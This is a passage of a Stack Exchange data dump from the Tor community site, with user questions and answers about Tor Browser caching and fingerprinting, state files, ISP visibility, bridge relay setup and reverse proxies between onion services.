  <row Id="21933" PostTypeId="2" ParentId="21927" CreationDate="2021-01-20T13:49:37.813" Score="1" Body="&lt;p&gt;Yes you could make a persistent partition.&#xA;I would encrypt it and only decrypt it when you need it.&lt;/p&gt;&#xA;&lt;p&gt;But if its not related to your work in tails why on this drive?&lt;/p&gt;&#xA;" OwnerUserId="31596" LastActivityDate="2021-01-20T13:49:37.813" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21934" PostTypeId="2" ParentId="7489" CreationDate="2021-01-20T20:35:13.690" Score="0" Body="&lt;p&gt;I'm not familiar with kubuntu, but most tor state seems to live in &lt;code&gt;/var/lib/tor&lt;/code&gt; on linux systems I've used. I've seen situations where removing the &lt;a href=&quot;https://tor.stackexchange.com/questions/13657/about-the-cache-files&quot;&gt;cache files&lt;/a&gt; there can fix some tor misbehavior (specifically where the cache files are somehow corrupted in a way that leads the tor daemon to immediately exit).&lt;/p&gt;&#xA;" OwnerUserId="23144" LastActivityDate="2021-01-20T20:35:13.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21935" PostTypeId="1" CreationDate="2021-01-20T20:44:36.447" Score="1" ViewCount="206" Body="&lt;p&gt;Does any of the tor software/infrastructure read &lt;code&gt;state&lt;/code&gt; files under &lt;code&gt;/var/lib/tor&lt;/code&gt;?  Or (unlike, say, &lt;a href=&quot;https://tor.stackexchange.com/q/13657/23144&quot;&gt;cache files&lt;/a&gt;) are they simply there for debugging/monitoring (and presumably can be removed at will)?&lt;/p&gt;&#xA;" OwnerUserId="23144" LastActivityDate="2022-02-20T18:02:05.207" Title="Are Tor state files under /var/lib/tor functionally write-only?" Tags="|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21937" PostTypeId="1" AcceptedAnswerId="21938" CreationDate="2021-01-22T13:11:14.283" Score="0" ViewCount="752" Body="&lt;p&gt;How easy is it for the ISP or other party to see online movement of someone using the Tor browser without the Tails OS, as well as without a VPN?&lt;/p&gt;&#xA;&lt;p&gt;From what's written Tor doesn't automatically come with VPN nor as an option to turn on, so does that mean even the ISP or the wifi host would readily be able to see a user browsing .onion domains?&lt;/p&gt;&#xA;&lt;p&gt;In other words, how well does onion routing hold up in preserving anonymity on its own without the help of Tails or VPN?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-01-22T14:05:33.053" Title="Tor without Tails or VPN" Tags="|tor-browser-bundle|anonymity|onion-routing|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21938" PostTypeId="2" ParentId="21937" CreationDate="2021-01-22T14:05:33.053" Score="0" Body="&lt;p&gt;Here's what your ISP can see:&lt;/p&gt;&#xA;&lt;p&gt;This person is using Tor.  They can't see what you're doing using Tor. They can only see that you are using Tor.&lt;/p&gt;&#xA;&lt;p&gt;If you're using a VPN, they can see that you're using a VPN service, but they can't see what you're doing with that VPN.&lt;/p&gt;&#xA;&lt;p&gt;Here's the difference: The VPN provider can see everything you do with the VPN. They may say that they don't log what you do, but you have to take them at their word.&lt;/p&gt;&#xA;&lt;p&gt;The Tor network is segmented in such a way that no one using Tor can see what you are doing. The person running an exit node can see that &amp;quot;someone&amp;quot; is going to the website abcxyz.com but they can't see who.&lt;/p&gt;&#xA;&lt;p&gt;The person running the website that you are visiting can see that &amp;quot;someone&amp;quot; is visiting them using the Tor network. In the same way, they can see that &amp;quot;someone&amp;quot; is visiting them using a VPN. They just don't know who. The upside of the Tor network is that every time you visit that website, you will appear to be a  different &amp;quot;someone&amp;quot;. You are more anonymous.&lt;/p&gt;&#xA;&lt;p&gt;More information: &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Is Tor Like a VPN?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2021-01-22T14:05:33.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21939" PostTypeId="1" CreationDate="2021-01-22T21:42:42.367" Score="2" ViewCount="88" Body="&lt;p&gt;If a month-long subscription is paid in Bitcoin to an .onion site using Tor browser, how does that site still recognize/identify the same anonymous user when the return in subsequent sessions, given that Tails OS wipes the computer clean of any previous encounter with that site, as well as erases its accounting of the bitcoin wallet used to pay the subscription?&lt;/p&gt;&#xA;&lt;p&gt;(If in some cases) no username or password set-up seems to accompany these paid subscriptions, Isn't there a risk of the site not recognizing the returning subscriber and barring access the next day, because they scrubbed their system per session, and therefore forfeiting their subscription prematurely?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-01-26T12:50:06.100" LastActivityDate="2021-01-26T12:50:06.100" Title="Month-long bitcoin subscription on .onion sites: How are returning subscribers identified each day?" Tags="|onion-services|onion-routing|darknet|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21940" PostTypeId="1" CreationDate="2021-01-22T23:01:58.533" Score="0" ViewCount="284" Body="&lt;p&gt;I realized this was possible years ago but people told me I was crazy and that it was impossible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ghacks.net/2021/01/22/favicons-may-be-used-to-track-users/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ghacks.net/2021/01/22/favicons-may-be-used-to-track-users/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16103" LastEditorUserId="88" LastEditDate="2021-01-23T18:50:34.313" LastActivityDate="2021-01-23T18:50:34.313" Title="Will Tor block favicons by default?" Tags="|anonymity|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21941" PostTypeId="2" ParentId="21940" CreationDate="2021-01-22T23:22:58.650" Score="1" Body="&lt;p&gt;No, Tor Browser does not block favicons.&lt;/p&gt;&#xA;&lt;p&gt;From the paper:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Nonetheless, browsers like Brave have recently adopted built-in anti-fingerprinting techniques which can affect our attack's performance (while Tor has done so for years, we do not consider it in our experiments since it is not susceptible to our favicon attack).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So this is not an issue for Tor Browser.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As  part  of  our  experiments  we  also  test  Firefox. [...] In fact, while monitoring the browser during the  attack’s  execution  we  observe  that  it  has  a  valid  favicon cache which creates appropriate entries for every visited page with  the  corresponding  favicons.  However,  it never actually uses the cache to fetch the entries. As a result, Firefox actually issues requests to re-fetch favicons that are already present in the  cache.  We  have  reported  this  bug  to  the  Mozilla  team, who verified and acknowledged it. [...] Nonetheless, we believe that once this  bug  is  fixed  our  attack  will  work  in  Firefox,  unless they also deploy countermeasures to mitigate our attack [...].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's also not an issue in the current Firefox.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-22T23:22:58.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21942" PostTypeId="1" CreationDate="2021-01-23T15:21:33.900" Score="1" ViewCount="2245" Body="&lt;p&gt;I am interested in how a .onion url is resolved to a server in the Tor network. In the normal internet there is DNS, which is not used on the Tor network. How does the name resolution work there?&lt;/p&gt;&#xA;" OwnerUserId="31611" LastActivityDate="2021-01-23T15:21:33.900" Title="How is a .onion URL resolved?" Tags="|onion-services|dns|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21944" PostTypeId="1" CreationDate="2021-01-24T11:32:57.427" Score="3" ViewCount="8112" Body="&lt;p&gt;When browsing the web, cached versions of websites are downloaded and saved for indefinite periods automatically by internet browsers. Every image and .html file associated with the website are stored in the browser's cache folders as perfect reconstructions that can be opened offline until the web cache is manually cleared.&lt;/p&gt;&#xA;&lt;p&gt;Does the Tor browser do the same by saving cached versions of .onion sites?&lt;/p&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;The answer below stipulates that Tor, by design, &amp;quot;must not write any information&amp;quot; to hard disk. However, there is a settings option in the Tor browser called &lt;code&gt;Delete browsing data&lt;/code&gt;, which shows that &lt;code&gt;Cached images and files&lt;/code&gt; must be deleted manually. This suggests that Tor actually does cache and write information to hard disk, and even keeps cookies since there is also an option called &lt;code&gt;Cookies&lt;/code&gt; that have to be manually deleted as well. I am confused who is right&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-02-01T02:18:03.780" LastActivityDate="2021-02-01T02:18:03.780" Title="Does the Tor browser save cached versions of .onion sites to computer?" Tags="|tor-browser-bundle|onion-routing|directory|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21945" PostTypeId="2" ParentId="21939" CreationDate="2021-01-24T17:53:53.283" Score="2" Body="&lt;p&gt;If no login/password is implemented in any form, then it is 100% scam.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-24T17:53:53.283" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="21946" PostTypeId="2" ParentId="21944" CreationDate="2021-01-24T19:10:34.640" Score="2" Body="&lt;p&gt;The Tor Browser is designed to avoid writing any sensitive data to disk unless the user changes the default settings to enable a feature that does record sensitive data. So with the default settings, Tor Browser does not save cached versions of websites. You might find this document useful (section 4.3. Disk Avoidance): &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The browser MUST NOT write any information that is derived from or that reveals browsing activity to the disk, or store it in memory beyond the duration of one browsing session, unless the user has explicitly opted to store their browsing history information to disk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-24T19:10:34.640" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21947" PostTypeId="2" ParentId="8638" CreationDate="2021-01-26T07:34:50.443" Score="0" Body="&lt;p&gt;Now though: decentralised networks are here, built on blockchain.&#xA;zeronet.io is one example and web3 will have a blockchain backbone. As a side note, stor.j provides a 100% trust-less, encrypted decentralised blockchain powered ‘super cloud’ storage solution that smashed Dropbox into 10000000 pieces of junk. &lt;/p&gt;&#xA;" OwnerUserId="31619" LastActivityDate="2021-01-26T07:34:50.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21948" PostTypeId="1" CreationDate="2021-01-26T12:55:03.590" Score="0" ViewCount="55" Body="&lt;p&gt;Both Tor and BitTorrent contain the same three-letter word, so based on whatever etymology, is there some sort of association they share, not just in syntax but in computing architecture or founding principles?&lt;/p&gt;&#xA;&lt;p&gt;If so this would be ironic given that running BitTorrent on Tor does not offer any anonymity enhancements due to them being incompatible.&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-01-26T14:33:05.387" Title="Are Tor and BitTorrent somehow related?" Tags="|tor-browser-bundle|bittorrent|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21949" PostTypeId="1" CreationDate="2021-01-26T14:13:41.237" Score="1" ViewCount="382" Body="&lt;p&gt;I'm trying to create a reverse proxy over the Tor network but am having some trouble. I have 2 hidden services setup on Nginx on seperate servers and I want hiddenservice1 to mirror hiddenservice2. I'm using polipo but everytime I try to view the hidden service it just shows the polipo homepage which has stumped me.&lt;/p&gt;&#xA;&lt;p&gt;I'm working on a Debian 10 server&lt;/p&gt;&#xA;&lt;p&gt;(Hiddenservice1: yd7tfcrlsbr32ywf.onion:80) &amp;gt; (Polipo:8123) &amp;gt; (Hiddenservice2: dvwi6l6zkvbgn5ny.onion:9050)&lt;/p&gt;&#xA;&lt;p&gt;Hiddenservice2 works without fault I can access it direct through: dvwi6l6zkvbgn5ny.onion&lt;/p&gt;&#xA;&lt;p&gt;Heres my tor config file (/etc/tor/torrc):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050  Default: Bind to localhost:9050 for local connections.&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My nginx conf file (/etc/nginx/sites-available/default&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;&#xA;   listen 127.0.0.1:80;&#xA;    root /var/www/;&#xA;    client_max_body_size 99M;&#xA;    charset utf-8;&#xA;    index index.html;&#xA; location / {&#xA;proxy_pass http://127.0.0.1:8123/;&#xA;        proxy_set_header Host &amp;quot;dvwi6l6zkvbgn5ny.onion&amp;quot;  ;&#xA;&#xA;    proxy_set_header Accept-Encoding &amp;quot;&amp;quot;;&#xA;    proxy_set_header Via &amp;quot;$host&amp;quot;;&#xA;&#xA;    subs_filter 'dvwi6l6zkvbgn5ny.onion' $host;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and my polipo config (/etc/polipo/config)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socksParentProxy = &amp;quot;localhost:9050&amp;quot;&#xA;diskCacheRoot = &amp;quot;&amp;quot;&#xA;disableLocalInterface=true&#xA;socksProxyType = socks5&#xA;proxyaddress = 127.0.0.1&#xA;proxyport =  8123&#xA;&#xA;logSyslog = true&#xA;logFile = /var/log/polipo/polipo.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help would be greatly appreciated I'm really stuck :)&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="31623" LastActivityDate="2024-03-09T17:43:17.910" Title="Polipo as a reverse proxy over TOR" Tags="|linux|proxy|debian|polipo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21950" PostTypeId="2" ParentId="21948" CreationDate="2021-01-26T14:33:05.387" Score="2" Body="&lt;p&gt;There is no association between the two in any form (etymological, architectural, etc). Both Tor and BitTorrent were created around the same time (early 2000s), but for entirely different purposes (peer-to-peer file sharing vs anonymous Internet connections) and using entirely different designs.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-26T14:33:05.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21951" PostTypeId="2" ParentId="21935" CreationDate="2021-01-26T15:25:35.183" Score="1" Body="&lt;p&gt;Tor itself reads the state file, but I don't know of any other software that reads from it. The file is important for more than just debugging/monitoring, it's how tor keeps persistent state across restarts. This is useful for remembering its guard relays, tracking relay bandwidth usage for accounting purposes (and for server descriptors), etc.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-26T15:25:35.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21952" PostTypeId="1" AcceptedAnswerId="21993" CreationDate="2021-01-26T15:38:15.273" Score="-2" ViewCount="3197" Body="&lt;p&gt;Why do people think they can get away with buying illegal goods and counterfeit money online when it is going to get inspected by border control anyway?&lt;/p&gt;&#xA;&lt;p&gt;Besides that, to get the goods, you're no longer anonymous anyway because your name and home address is required to even receive the shipment&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-02-02T17:14:03.160" LastActivityDate="2021-02-14T20:00:59.363" Title="How do darknet merchants ensure the shipping of illegal goods to customer's home?" Tags="|anonymity|darknet|legal|research|" AnswerCount="2" CommentCount="8" ClosedDate="2021-06-02T19:34:29.077" ContentLicense="CC BY-SA 4.0" />
  <row Id="21953" PostTypeId="1" CreationDate="2021-01-26T16:53:52.507" Score="0" ViewCount="754" Body="&lt;p&gt;I am trying to set up a bridge relay on my ubuntu 20.04 system but getting stuck at step 3. Edit your Tor config file, usually located at /etc/tor/torrc and replace its content with:&lt;/p&gt;&#xA;&lt;p&gt;When I open the config file, do I just add the BridgeRelay 1 information at the bottom of the file and how do I know what Tor and obfs4 ports to use?&lt;/p&gt;&#xA;" OwnerUserId="31625" LastActivityDate="2022-02-21T12:07:46.463" Title="Running a Tor Bridge Relay on Ubuntu" Tags="|configuration|relays|linux|bridge|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21955" PostTypeId="2" ParentId="21953" CreationDate="2021-01-27T10:01:58.473" Score="0" Body="&lt;p&gt;The ports can be chosen by yourself. For technical reasons you should avoid the lower numbers. Let's say you can choose any number between 1025 and 65535. I Copied the config from step 3 and edited it as an example.&lt;/p&gt;&#xA;&lt;p&gt;For the ORPort I have chosen 42301. For the obfs4 port I have chosen 37198. The contactinformation can be filled in if you like but it is optional. Your contact info won't be shown publicly if you run a bridge. It will be publicly shared when you run any other type of relay. And lastly, your servername. Pick any name you like, the network doesn't care. I named it 'RasputinBridge' as an example but using any reference to yourself could be a flaw in your personal privacy. So maybe a name like 'MyFirstBridge' would be better.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;&#xA;# Replace &amp;quot;TODO1&amp;quot; with a Tor port of your choice.&#xA;# This port must be externally reachable.&#xA;# Avoid port 9001 because it's commonly associated with Tor and censors may be scanning the Internet for this port.&#xA;ORPort 42301&#xA;&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&#xA;# Replace &amp;quot;TODO2&amp;quot; with an obfs4 port of your choice.&#xA;# This port must be externally reachable and must be different from the one specified for ORPort.&#xA;# Avoid port 9001 because it's commonly associated with Tor and censors may be scanning the Internet for this port.&#xA;ServerTransportListenAddr obfs4 0.0.0.0:37198&#xA;&#xA;# Local communication port between Tor and obfs4.  Always set this to &amp;quot;auto&amp;quot;.&#xA;# &amp;quot;Ext&amp;quot; means &amp;quot;extended&amp;quot;, not &amp;quot;external&amp;quot;.  Don't try to set a specific port number, nor listen on 0.0.0.0.&#xA;ExtORPort auto&#xA;&#xA;# Replace &amp;quot;&amp;lt;address@email.com&amp;gt;&amp;quot; with your email address so we can contact you if there are problems with your bridge.&#xA;# This is optional but encouraged.&#xA;ContactInfo &amp;lt;address@email.com&amp;gt;&#xA;&#xA;# Pick a nickname that you like for your bridge.  This is optional.&#xA;Nickname RasputinBridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now that your configuration is complete, follow the next steps to complete the bridge. And make sure you forward the chosen portnumbers in your router (if required) so that traffic can flow to your bridge.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2021-01-27T10:01:58.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21956" PostTypeId="1" CreationDate="2021-01-27T10:02:30.003" Score="0" ViewCount="3048" Body="&lt;p&gt;I always use Tor for reddit.com, amongst other websites, and occasionally would get a 503 Service Unavailable response. Hitting F5 or new circuit for this site usually clears this. Now 503 Service Unavailable solidly for the last few days.&lt;/p&gt;&#xA;&lt;p&gt;On Windows 10 desktop with ExpressVPN. I have tried both Tor browser and Brave Browser private window with Tor with the same outcome. I have also tried disconnecting ExpressVPN. I've deleted Tor and downloaded it again. No luck. All other sites I've accessed load OK without the 503 message.&#xA;Does reddit now blocking Tor or do I have a browser configuration issue?&lt;/p&gt;&#xA;" OwnerUserId="31627" LastActivityDate="2021-01-27T18:01:30.093" Title="Tor access for reddit.com causes 503 Service Unavailable" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21957" PostTypeId="1" AcceptedAnswerId="21960" CreationDate="2021-01-27T12:30:31.210" Score="1" ViewCount="1666" Body="&lt;h3&gt;Tor Browser settings&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security slider  is on &amp;quot;Safest&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;JavaScript is enabled (otherwise no Canvas fingerprint possible by site)&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;Extract Canvas Data&amp;quot; is blocked:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RhqMc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhqMc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Issue&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.amiunique.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;amiunique.org&lt;/a&gt; still shows me a &lt;em&gt;unique&lt;/em&gt; Canvas fingerprint:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9VxH7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9VxH7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&lt;p&gt;Do I need to assume, that a website with modern, advanced tracking techniques (e.g. Google) will be able to create a unique Canvas fingerprint by enabled JavaScript, therefore mitigating anonymity of Tor Browser?&lt;/p&gt;&#xA;&lt;p&gt;As a consequence, this would mean, disabling JavaScript is essential (more than I thought) for &amp;quot;sufficient&amp;quot; anonymity.&lt;/p&gt;&#xA;&lt;p&gt;Optional: How is &lt;a href=&quot;https://www.amiunique.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;amiunique.org&lt;/a&gt; able to do this despite having blocked &amp;quot;Extract Canvas Data&amp;quot; ?&lt;/p&gt;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&lt;p&gt;This question is &lt;em&gt;not&lt;/em&gt; a duplicate of following answers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3283/html5-canvas-security-flaw&quot;&gt;HTML5 Canvas Security Flaw&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4285/can-html5-canvas-image-data-reveal-the-users-ip&quot;&gt;Can HTML5 canvas image data reveal the users IP?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;, as HTML5 Canvas data extraction is blocked and it is about the &amp;quot;Canvas&amp;quot; attribute calculation on &lt;a href=&quot;https://www.amiunique.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;amiunique.org&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;Note: I am not affiliated with this site in any way - just thought, this is an interesting case to discuss. &lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="31629" LastEditorUserId="31629" LastEditDate="2021-01-27T14:50:15.467" LastActivityDate="2021-01-27T16:16:37.917" Title="Does Tor Browser get a unique fingerprint with JavaScript, even if HTML5 Canvas data is blocked (amiunique.org)?" Tags="|tor-browser-bundle|anonymity|deanonymization|fingerprinting|javascript|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21958" PostTypeId="1" AcceptedAnswerId="21987" CreationDate="2021-01-27T12:44:32.937" Score="1" ViewCount="6027" Body="&lt;p&gt;Heard that JavaScript interferes with Tor when browsing the internet causing a breach in its security wall, having the effect of a hole in the ozone layer. Why is this? How does this breach work exactly.&lt;/p&gt;&#xA;&lt;p&gt;The image below shows how to enable Javascript in Tor browser, but notice the next option &lt;code&gt;Allow Scripts Globally (dangerous)&lt;/code&gt;, which implies Javascript in Tor is somehow dangerous. Why?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9BzjZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9BzjZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to actively proof-check to oneself whether enabling or disabling JavaScript is interfering with Tor's ability to anonymize my traffic?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31632" LastEditDate="2021-04-07T20:01:57.923" LastActivityDate="2022-01-02T22:05:25.437" Title="How does JavaScript interfere with Tor browser anonymity?" Tags="|tor-browser-bundle|anonymity|security|javascript|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21959" PostTypeId="2" ParentId="21956" CreationDate="2021-01-27T15:09:46.547" Score="0" Body="&lt;p&gt;This is a Reddit issue which unfortunately cannot be fixed from the client side. It's possible that Reddit is blocking Tor users. The only thing you can try is to use new circuits until one works.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40300&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40300&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-27T15:09:46.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21960" PostTypeId="2" ParentId="21957" CreationDate="2021-01-27T16:16:37.917" Score="1" Body="&lt;p&gt;Last year Tor enabled a feature which returns randomized image data when a website attempts to extract an image from the canvas. This is better seen by looking at the image on &lt;a href=&quot;https://browserleaks.com/canvas&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://browserleaks.com/canvas&lt;/a&gt;. Each time you refresh the webpage, the image should change. So the canvas is intentionally unique, but changes so that you cannot be tracked by it.&lt;/p&gt;&#xA;&lt;p&gt;Added in: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/commit/d66dab82a7b9ae8012158aa1d78023a53f4b26f8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/commit/d66dab82a7b9ae8012158aa1d78023a53f4b26f8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bug 1621433 - In RFP mode, turn canvas image extraction into a random 'poison pill' for fingerprinters r=tjr,jrmuizel&lt;/p&gt;&#xA;&lt;p&gt;In RFP mode, canvas image extraction leads to an all-white image, replace that with a random (sample 32 bytes of randomness and fill the buffer with that) 'poison pill'. This helps defeat naive fingerprinters by producing a random image on every try. This feature is toggled using a new, default on, pref &lt;code&gt;privacy.resistFingerprinting.randomDataOnCanvasExtract&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-27T16:16:37.917" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21961" PostTypeId="2" ParentId="21956" CreationDate="2021-01-27T18:01:30.093" Score="3" Body="&lt;p&gt;One workaround is changing the URL from https://&lt;strong&gt;www&lt;/strong&gt;.reddit.com/r/... to https://&lt;strong&gt;old&lt;/strong&gt;.reddit.com/r/... As long as you don't mind using the older (and in my opinion, vastly superior) Reddit interface then this is one way to bypass the problematic pages.&lt;/p&gt;&#xA;" OwnerUserId="28442" LastActivityDate="2021-01-27T18:01:30.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21962" PostTypeId="1" CreationDate="2021-01-27T20:04:22.140" Score="0" ViewCount="623" Body="&lt;p&gt;I have 2 hidden services hosted on seperate debian servers, they both work perfectly.&#xA;I'm looking at using my first hidden service as a reverse proxy to access the second one.&lt;/p&gt;&#xA;&lt;p&gt;So basically if I access my first onion it'll display the second one.&lt;/p&gt;&#xA;&lt;p&gt;How do I go about this? I've tried socat which I can run perfectly on V2 onions but for some reason not V3 which is what I need.&lt;/p&gt;&#xA;&lt;p&gt;I'm using debian&lt;/p&gt;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="31623" LastActivityDate="2022-03-25T21:01:35.187" Title="configuring a reverse proxy over TOR" Tags="|proxy|debian|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21964" PostTypeId="2" ParentId="21962" CreationDate="2021-01-27T23:13:15.987" Score="0" Body="&lt;p&gt;As far as I understand, you have two servers. One runs the web server, and you want both servers to run onion services that can access the web server.&lt;/p&gt;&#xA;&lt;p&gt;An issue with running the onion service on one server and the web server on another is that the onion service will remove all of Tor's encryption, so you don't want to just send the plaintext traffic across the network to the web server.&lt;/p&gt;&#xA;&lt;p&gt;One option for sending the traffic between two servers might be an SSH tunnel. For example if server A is running the web server and you want to securely send traffic from an onion service on server B, you could run &lt;code&gt;ssh -N -L 8080:127.0.0.1:8080 serverA&lt;/code&gt; on server B to set up a tunnel, and on server B also set up an onion service on port 8080 (example: &lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt;). Any onion service traffic will then be tunneled through SSH to the web server on port 8080 on server A. All you need for this to work is to have SSH access from server B to server A.&lt;/p&gt;&#xA;&lt;p&gt;If the SSH tunnel solution works fine, then you probably want something more permanent. In that case a Wireguard VPN would probably work better than an SSH tunnel.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-27T23:13:15.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
